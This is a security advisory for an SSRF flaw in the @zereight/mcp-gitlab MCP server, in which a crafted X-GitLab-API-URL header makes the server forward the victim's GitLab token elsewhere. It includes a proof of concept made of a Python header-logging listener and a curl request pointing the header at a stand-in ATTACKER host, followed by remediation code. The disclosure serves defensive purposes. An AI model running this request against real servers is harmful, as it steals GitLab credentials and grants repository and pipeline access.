VDB
Sign up
CRITICAL9.6

GHSA-2h44-8472-frjj

@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery

Quick fix

GHSA-2h44-8472-frjj — @zereight/mcp-gitlab: upgrade to the fixed version with the command below.

npm install @zereight/mcp-gitlab@2.1.27

Details

# Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft

## Affected

- **Repository:** `zereight/gitlab-mcp` - **Affected versions:** All versions through commit `74a8c83` - **Patched versions:** None at time of report

## Severity

High. CVSS v3.1 8.5 (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N`)

## Description

When the environment variable `ENABLE_DYNAMIC_API_URL=true` is set, the server reads the `X-GitLab-API-URL` HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (`new URL(dynamicApiUrl)`) but applies no allowlist or hostname restriction. The server then attaches the victim's `Private-Token` to every outbound fetch that uses the redirected URL.

Any caller who can reach the HTTP transport can set `X-GitLab-API-URL` to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host.

The vulnerable code appears at two locations.

**SSE handler (`index.ts:11541`):**

```typescript const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) { apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // no allowlist check } ```

**Streamable HTTP handler (`index.ts:11787`), inside `parseAuthHeaders`:**

```typescript const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) { new URL(dynamicApiUrl); // syntax-only check apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // any reachable host accepted } ```

In both cases, `apiUrl` propagates through `getEffectiveApiUrl()` and into `getFetchConfig()`, which attaches `Private-Token: <victim_token>` to every outbound fetch. The token reaches the attacker's host, not GitLab.

## Proof of Concept

Run upstream `zereight/gitlab-mcp` at commit `74a8c83` with `ENABLE_DYNAMIC_API_URL=true` and `REMOTE_AUTHORIZATION=true`.

```bash # 1. Start a listener on the attacker host (port 9099) # Any HTTP server that logs incoming headers will work. python3 -c " import http.server, sys class H(http.server.BaseHTTPRequestHandler): def do_GET(self): print('HEADERS:', dict(self.headers)) self.send_response(200); self.end_headers() http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever() "

# 2. Send any MCP tool call with the malicious header curl -X POST http://TARGET:3002/mcp \ -H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \ -H "Authorization: Bearer ANY_VALID_TOKEN" \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}' ```

The listener receives:

``` GET /api/v4/projects/1/issues HTTP/1.1 private-token: <VICTIM_GITLAB_TOKEN> Host: ATTACKER:9099 ```

The victim's token arrives at the attacker host. The attacker never needed it in advance. The MCP server delivered it.

## Impact

The attacker obtains the victim's GitLab Personal Access Token or CI/CD job token in a single request. With the stolen token they gain full GitLab API access at the victim's permission level: read of all repositories, issues, merge requests, CI/CD pipeline definitions and variables/secrets; write to push code, modify pipelines, create or delete resources, and rotate CI/CD variables.

CVSS factors: - `PR:L`: reaching the HTTP transport requires presenting some auth token - `S:C`: the attack crosses the boundary into GitLab (a separate security domain) - `C:H`: victim's GitLab token stolen in one request; full read of all scoped data - `I:H`: attacker can push code and modify pipelines with the stolen token - `A:N`: the MCP server continues operating normally

## Why This Is a Vulnerability, Not Intended Behavior

`ENABLE_DYNAMIC_API_URL` is documented for supporting self-hosted GitLab instances at a non-default base URL. The intended caller behavior is to supply the URL of their own GitLab instance. The feature has no mechanism to distinguish a legitimate self-hosted GitLab URL from an attacker-controlled host. Once enabled, every request that includes `X-GitLab-API-URL` can redirect the server's credential-carrying outbound calls to any reachable host with no restriction.

PR #453 (merged) added a startup guard that blocks the Streamable HTTP transport from running with static tokens unless `REMOTE_AUTHORIZATION=true` or OAuth is configured. That guard runs once at server startup and checks transport configuration. It does not modify `parseAuthHeaders`, does not validate `X-GitLab-API-URL`, and does not restrict the token-forwarding path at runtime. The SSRF sink at `index.ts:11787` is unchanged in the current code and fully reachable in the documented multi-user deployment mode (`REMOTE_AUTHORIZATION=true`).

## Remediation

Validate `X-GitLab-API-URL` against a configurable allowlist of trusted GitLab hostnames before assigning the value to `apiUrl`. Reject any request whose `X-GitLab-API-URL` hostname is not in the allowlist. Apply this check at both `index.ts:11541` and `index.ts:11787`.

Example fix for the Streamable HTTP handler:

```typescript const ALLOWED_HOSTS = (process.env.GITLAB_ALLOWED_HOSTS ?? "") .split(",").map(h => h.trim()).filter(Boolean);

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) { const parsed = new URL(dynamicApiUrl); if (!ALLOWED_HOSTS.includes(parsed.hostname)) { throw new Error(`X-GitLab-API-URL hostname not in allowlist: ${parsed.hostname}`); } apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); } ```

Document `GITLAB_ALLOWED_HOSTS` in the README alongside `ENABLE_DYNAMIC_API_URL`. If maintaining an allowlist is not feasible, disable `ENABLE_DYNAMIC_API_URL` by default and document the token-forwarding risk prominently.

## Credit

Reported via GitHub Security Advisory on 2026-06-07.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/@zereight/mcp-gitlab
Introduced in: 0.0.1Fixed in: 2.1.27
Fixnpm install @zereight/mcp-gitlab@2.1.27

References